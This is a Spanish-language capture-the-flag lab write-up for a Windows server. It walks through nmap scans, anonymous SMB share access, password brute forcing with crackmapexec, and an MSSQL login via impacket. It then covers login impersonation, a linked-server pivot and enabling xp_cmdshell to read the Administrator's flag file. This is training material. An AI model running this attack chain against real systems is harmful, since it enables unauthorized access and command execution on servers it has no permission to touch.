Laboratorio de Ataques a Servicios Comunes - Díficil
Enunciado
El tercer servidor es otro servidor interno que se utiliza para gestionar archivos y material de trabajo, como formularios. Además, se utiliza una base de datos en el servidor, cuya finalidad desconocemos.
Enumeración de puertos
Iniciamos la enumeración de servicios para identificar los puertos y protocolos activos en la máquina objetivo. Este escaneo se va a demorar un poco.
nmap -sS -p- --min-rate 1000 -n -Pn <IP>
Vemos que tenemos los puertos 135, 445, 1433 y 3398 abiertos, vamos a recoger más información de los servicios que hay corriendo en cada puerto.
nmap -sCV -p135,445,1433,3389 -n -Pn <IP>
Vemos con la información que tenemos que es un servidor Windows, estan corriendo un smb por el puerto 445, una base de datos Microsoft por el 1433 y un rdp por el 3389. Vamos a empezar por el 445 dado que no tenemos credenciales ni nada para intentar acceder a los otros servicios y vemos lo siguiente.
smbclient -L //<IP>/ -N
Vemos un Directorio Home al cual nos conectamos anónimo.
smbclient //10.129.203.10/Home -N
Donde hay varias carpetas y archivos accedemos y descargamos todos los recursos para mirarlos en local.
Y vemos que los archivos creds, secret y random son posibles contraseñas. Recordemos que vimos recién carpetas de posibles usuarios con
Fiona
, John
y Simon
.
Hacemos un poco de fuerza bruta con uno de los servicios que tenemos expuestos para capturar la siguiente flag que son las credenciales de fiona:
crackmapexec smb 10.129.203.10 -u fiona -p creds.txt
Ahora que tenemos credenciales válidas intentamos acceder a alguno de los servicios que tenemos alcance y vemos que en la BD podemos entrar:
python3 /.../python3-impacket/examples/mssqlclient.py fiona@<IP> -windows-auth
Estamos dentro de la Base de datos y vamos a guiarnos por las pistas que nos dieron anteriormente de revisar la base de datos, ver los servidores de enlace y simular la impersonation
.
Intentamos con el usuario fiona
acceder al servidor local de enlace, pero me da que el usuario no tiene permisos. Entonces intentamos suplantar a los usuarios jonn
o simon
, vemos que simon no existe pero john
si.
EXECUTE AS LOGIN = 'john';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_linkedservers;
EXECUTE('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [local.test.linked.srv];
Vemos que este usuario pertenece al grupo sysadmin
dentro del servidor de enlace local.
EXECUTE('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [local.test.linked.srv];EXECUTE('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [local.test.linked.srv];
Habilitamos la función xp_cmdshell para poder ejecutar comandos en el servidor.
EXECUTE('EXEC xp_cmdshell ''dir "C:\Users\Administrator\Desktop"''') AT [local.test.linked.srv];
Listamos el escritorio del usuario Administrator
y vemos la flag.
EXECUTE('EXEC xp_cmdshell ''type "C:\Users\Administrator\Desktop\flag.txt"''') AT [local.test.linked.srv];
Leemos el archivo
Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.
Escríbeme por cualquiera de las vías